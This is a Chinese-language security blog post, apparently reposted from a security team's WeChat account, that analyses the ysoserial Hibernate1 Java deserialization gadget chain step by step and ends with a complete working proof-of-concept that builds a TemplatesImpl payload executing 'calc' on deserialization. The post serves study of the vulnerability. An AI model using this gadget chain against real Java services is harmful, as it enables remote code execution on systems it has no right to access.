分析了ysoserial一系列利用链后发现每一链都是由一些小的点串起来才构成了有每条完整的利用链的,此次分析的hibernate反序列化利用链也不例外,所以打算以每一个小点为中心写一下hibernate利用链1的分析。
利用链分析
从调用栈中可以看到HashMap
反序列化过程中从HashMap#hash
中调用hashcode
方法从而调用到了hibernate
库中TypedValue
类的hashcode
方法,经过hibernate
一系列处理逻辑后,最终反射到了TemplatesImpl#getOutputProperties
。
根据HashMap
到hibernate
再到TemplatesImpl
,将调用栈分为3部分,分别叫做HashMap反序列化点,hibernate反射点,TemplatesImpl命令执行点,接下来分析一下这三个点的逻辑。
HashMap反序列化点
HashMap#put
首先先了解一下HashMap的key value是怎么维护的
put
方法中会求key
的哈希,然后调用addEntry
方法
调用createEntry
方法
createEntry
方法中new了一个Entry
对象,然后保存在table
数组中。
HasnMap$Entry
构造方法中将,key、value、key的哈希等维护起来
所以,HashMap
每添加的key,value,都会生成HasnMap$Entry
的对象去保存key、value、key的哈希等,并将每个HasnMap$Entry
的对象保存在HashMap
的table
属性值中
HashMap#writeObject
先看一下HashMap序列化的过程,在默认反序列化之后,如果HashMap
的size
大于0,则会遍历每一个entrySet0
得到的,然后将e的key和value都序列化了。
entrySet0
方法中判断HashMap
的entrySet
属性不为空则返回该属性,实际上entrySet属性初始化的时为空,且除了entrySet0
方法,并没有其他地方对该属性赋值,所以此处调用HashMap$EntrySet
的构造方法。(虽然调试时显示entrySet
属性不为空,那是因为调试时toString
方法导致的)
entrySet0
拿到一个HashMap$EntrySet
实例后,由于java语法糖,Map.Entry<K,V> e : HashMap$EntrySet
这样的增强for循环反编译后其实是在普通的for循环或while循环中调用iterator
进行遍历,要求HashMap$EntrySet
或其父类必须实现Iterable
接口。所以增强for循环中会调用HashMap$EntrySet#iterator
最终会拿到一个HashMap$EntryIterator
的对象,其中将HashMap的table属性赋给t,然后拿到t中的元素
然后调用HashMap$EntryIterator#next
最后在next方法中拿到table中的元素
所以序列化时会从HashMap
的table
属性中取到每一个HashMap$EntrySet
对象,然后将该对象中的key和value都序列化了。
HashMap#readObject
在反序列化时会调用putForCreate
方法,将存入的key ,value传参进去
该方法中会调用hash
方法对key求哈希
hash
方法中会调用key的hashcode
方法
所以,将HashMap
的table数组中的HashMap$Entry
的key
属性设置为一个有hashcode
方法的类的对象,反序列化的时候就可以调用到该对象的hashcode
方法。
hibernate反射点
TypedValue#hashCode
中会调用当前对象的hashcode
属性的getValue
方法,此处需要构造hashcode
属性是一个ValueHolder
实例。
hashcode
属性会在反序列化的时候调用initTransients
方法赋值:调用ValueHolder
的构造方法,传入的参数是一个匿名内部类的实例(TypedValue$1
),该实例实现了DeferredInitializer
接口的initialize
方法。
在ValueHolder
的构造方法中将匿名内部类的实例TypedValue$1
赋值给了valueInitializer
属性。
ValueHolder#getValue
中会调用valueInitializer
属性的initialize
方法,也就是匿名内部类的实例TypedValue$1
的initialize
方法
我们知道在非静态内部类实例中可以访问外部类实例的属性和方法,这是因为内部类实例中有一个属性(this$0
)中保存了外部类实例的的一个引用。在内部类实例中使用外部类实例的属性时可以用外部类名.this.属性名
这样的形式。
所以在TypedValue$1
的initialize
方法中会调用外部类实例
的type
属性的getHashCode
方法,传入的参数是外部类实例
的value
属性。根据调试知道需要构造这两个属性分别是ComponentType
和TemplatesImpl
的实例。
ComponentType#getHashCode
中判断propertySpan
属性大于i
时调用getPropertyValue
方法,所以需要给propertySpan
属性设置一个数值。
判断传入的component
不是Object的数组,就会调用ComponentType
的componentTuplizer
属性的getPropertyValue
方法,传的参数还是前边说到的外部类实例
的value
属性。所以需要构造ComponentType
的componentTuplizer
属性是一个PojoComponentTuplizer
的对象。
PojoComponentTuplizer
没有两个参数的getPropertyValue
方法,所以会调用其父类AbstractComponentTuplizer
的方法。该方法中调用getters
数组的get
方法。所以需要构造该数组的第一个元素是BasicPropertyAccessor$BasicGetter
静态内部类实例。
get
方法中就是我们熟悉的反射代码,所以此处需要构造target
参数,也就是前边说到的外部类实例
的value
属性是一个TemplatesImpl
实例。BasicPropertyAccessor$BasicGetter
类的clazz
属性是TemplatesImpl.class
,propertyName
属性是字符串OutputProperties
,method
属性是一个任意的Method
对象,就能反射调用TemplatesImpl#getOutputProperties
,至于method
属性为什么不是getOutputProperties
方法对应的Method
对象,poc构造中会讲到。
TemplatesImpl命令执行点
TemplatesImpl#getOutputProperties
调用newTransformer
方法。
newTransformer
方法中调用了getTransletInstance()
方法
getTransletInstance()
方法中newinstance
方法创建实例后就执行了命令,所以_class[_transletIndex]
一定是一个和AbstractTranslet
类有继承关系的类的Class对象。Class.newinstance会导致类的初始化,所以在会执行静态代码块的代码。
我们看一下_class
赋值的地方,当_name
不为空且_class
为空,才会调用defineTransletClasses()
方法。
defineTransletClasses()
方法中,会先生成一个类加载器TransletClassLoader
,然后通过类加载器的defineClass
方法将字节流还原成一个Class对象。
生成类加载器时需要用到_tfactory
属性,该属性在反序列化的时候会进行初始化。
由以上分析可知,先创建一个TemplatesImpl
对象。然后构造好一个继承自AbstractTranslet
的类,该类静态初始化块中有恶意代码执行的语句。把该类的字节数组赋给TemplatesImpl
对象的_bytecode
属性,且设置_name
属性不为空,当反序列化过程中调用到TemplatesImpl#getOutputProperties
,就可导致命令执行。
Mmuzz类如下所示
小结
所以梳理了一下各种对象的关系,例如:HashMap
实例的table
属性的第一个元素的key
属性是一个TypedValue
实例。TypedValue
实例和TemplatesImpl
实例的构造就不再赘述,如下脑图所示。
poc构造
yso中的poc不太直观,所以我自己构造了一个poc,按照脑图构造好HashMap即可,虽然比较繁琐但是不难理解。poc如下
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import ysoserial.payloads.util.Reflections;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import org.hibernate.tuple.component.PojoComponentTuplizer;
public class M_hibernate1 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String BasicGetter ="org.hibernate.property.BasicPropertyAccessor$BasicGetter";
//1.构造TemplatesImpl对象
ClassPool classPool=ClassPool.getDefault(); //返回默认的classpool
classPool.appendClassPath(AbstractTranslet); //添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("Mmuzz");//創建一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置创建的Mmuzz类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建类的初始化代码块,在代码块里执行命令
// payload.writeFile("E:/javaenv/ysoserial-master/src/main/java/");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=TemplatesImpl.class.getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl
// Object templatesImpl = new TemplatesImpl();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"hello");//將templatesImpl上的_name字段设置不为空
//2.构造hibernate利用链
// 获取TemplatesImpl#getOutputProperties的Method对象
Method method = HashMap.class.getDeclaredMethod("size",new Class[0]);
// 创建BasicGetter对象
Constructor basicGettercon =Class.forName(BasicGetter).getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
Reflections.setAccessible(basicGettercon);
// BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGettercon.newInstance(String.class,method,"fdadf");//反射創建BasicGetter
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGettercon.newInstance(TemplatesImpl.class,method,"OutputProperties");//反射創建BasicGetter
//创建Getter数组
Class ppgetter = Class.forName("org.hibernate.property.Getter");
Object arr = Array.newInstance(ppgetter, 1);
//数组中放入basicGetter
Array.set(arr, 0, basicGetter);
//获取Refection工厂
ReflectionFactory REFLECTION_FACTORY = ReflectionFactory.getReflectionFactory();
//创建PojoComponentTuplizer对象
Class pjctclazz = PojoComponentTuplizer.class;
Constructor<?> cons = REFLECTION_FACTORY.newConstructorForSerialization(pjctclazz, Object.class.getDeclaredConstructor());
cons.setAccessible(true);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) cons.newInstance();
Field fieldgetter = AbstractComponentTuplizer.class.getDeclaredField("getters");
fieldgetter.setAccessible(true);
fieldgetter.set(pojoComponentTuplizer,arr);
//
//创建ComponentType对象
Constructor<?> ctcons = REFLECTION_FACTORY.newConstructorForSerialization(ComponentType.class,Object.class.getDeclaredConstructor());
ctcons.setAccessible(true);
ComponentType componentType = (ComponentType) ctcons.newInstance();
Field ctlfield = ComponentType.class.getDeclaredField("componentTuplizer");
ctlfield.setAccessible(true);
ctlfield.set(componentType,pojoComponentTuplizer);
Field ppsfield = ComponentType.class.getDeclaredField("propertySpan");
ppsfield.setAccessible(true);
ppsfield.set(componentType,1);
//创建TypedValue对象
Constructor<?> tvcons = REFLECTION_FACTORY.newConstructorForSerialization(TypedValue.class, Object.class.getDeclaredConstructor());
tvcons.setAccessible(true);
TypedValue typedValue = (TypedValue) tvcons.newInstance();
Field fieldtype = TypedValue.class.getDeclaredField("type");
fieldtype.setAccessible(true);
fieldtype.set(typedValue,componentType);
Field fieldvalue = TypedValue.class.getDeclaredField("value");
fieldvalue.setAccessible(true);
fieldvalue.set(typedValue,templatesImpl);
//3.创建hashmap利用链
HashMap hashMap =new HashMap(1);
hashMap.put("hello","Mmuzz");
Field fieldtable = HashMap.class.getDeclaredField("table");
fieldtable.setAccessible(true);
Map.Entry[] array = (Map.Entry[]) fieldtable.get(hashMap);
Map.Entry entry = array[0];
Field fieldkey = entry.getClass().getDeclaredField("key");
fieldkey.setAccessible(true);
fieldkey.set(entry,typedValue);
//模拟反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("M_hibernate.out"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("M_hibernate.out"));
inputStream.readObject();
}
}
其中有1个需要注意的点:在BasicPropertyAccessor$BasicGetter#get
中反射时只用到了BasicGetter
实例的method
属性,那么构造时只构造好method属性,其他属性随便填,为什么在反序列化过程中会报异常?
我们知道readResolve
方法是反序列化破环单例模式的解决方案。反序列化过程中会调用该类的readResolve
方法,用该方法中返回的对象直接替换
在反序列化过程中创建的对象,而被创建的对象则会被垃圾回收掉。
BasicPropertyAccessor$BasicGetter
类中就有readResolve
方法,所以反序列化过程中会调用该方法返回BasicPropertyAccessor#createGetter
创建的实例。
如果getGetterorNull
方法返回的结果为空,则报异常,表示clazz
属性中没有propertyName
属性名。
BasicPropertyAccessor#getGetterorNull
中先判断getGetterMethod
方法返回的Method对象不为空的,则会直接调用BasicPropertyAccessor$BasicGetter
生成一个实例并返回。注意构造方法中的第二个参数method
是getGetterMethod
得到的结果。
BasicPropertyAccessor#getGetterMethod
中会拿到clazz
属性的所有方法,遍历每一个方法,然后返回propertyName
属性所对应的get
方法,如果没有对应的方法就返回空。String
类中没有fdadf
属性,所以导致异常。
所以poc中在构造BasicPropertyAccessor$BasicGetter
实例时并不需要构造方法的第二个参数method
是TemplatesImpl#getOutputProperties
对应的Method对象,只需要保证第一个参数是TemplatesImpl.class
,
第3个参数是字符串OutputProperties
就可以,如下所示:
总结
该漏洞就是将利用链分析中的3个点串起来,导致在HashMap
实例反序列化时调用到hibernate
的反射代码上反射调用到TemplatesImpl#getOutputProperties
,最后将TemplatesImpl
的_bytecode
属性(我们构造好的静态代码块中有恶意代码的类的字节数组)还原为Class对象,然后newInstance
导致静态代码块中的代码被执行。
参考链接
https://github.com/frohoff/ysoserial/
原文始发于微信公众号(雁行安全团队):Hibernate反序列化利用链分析(1)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论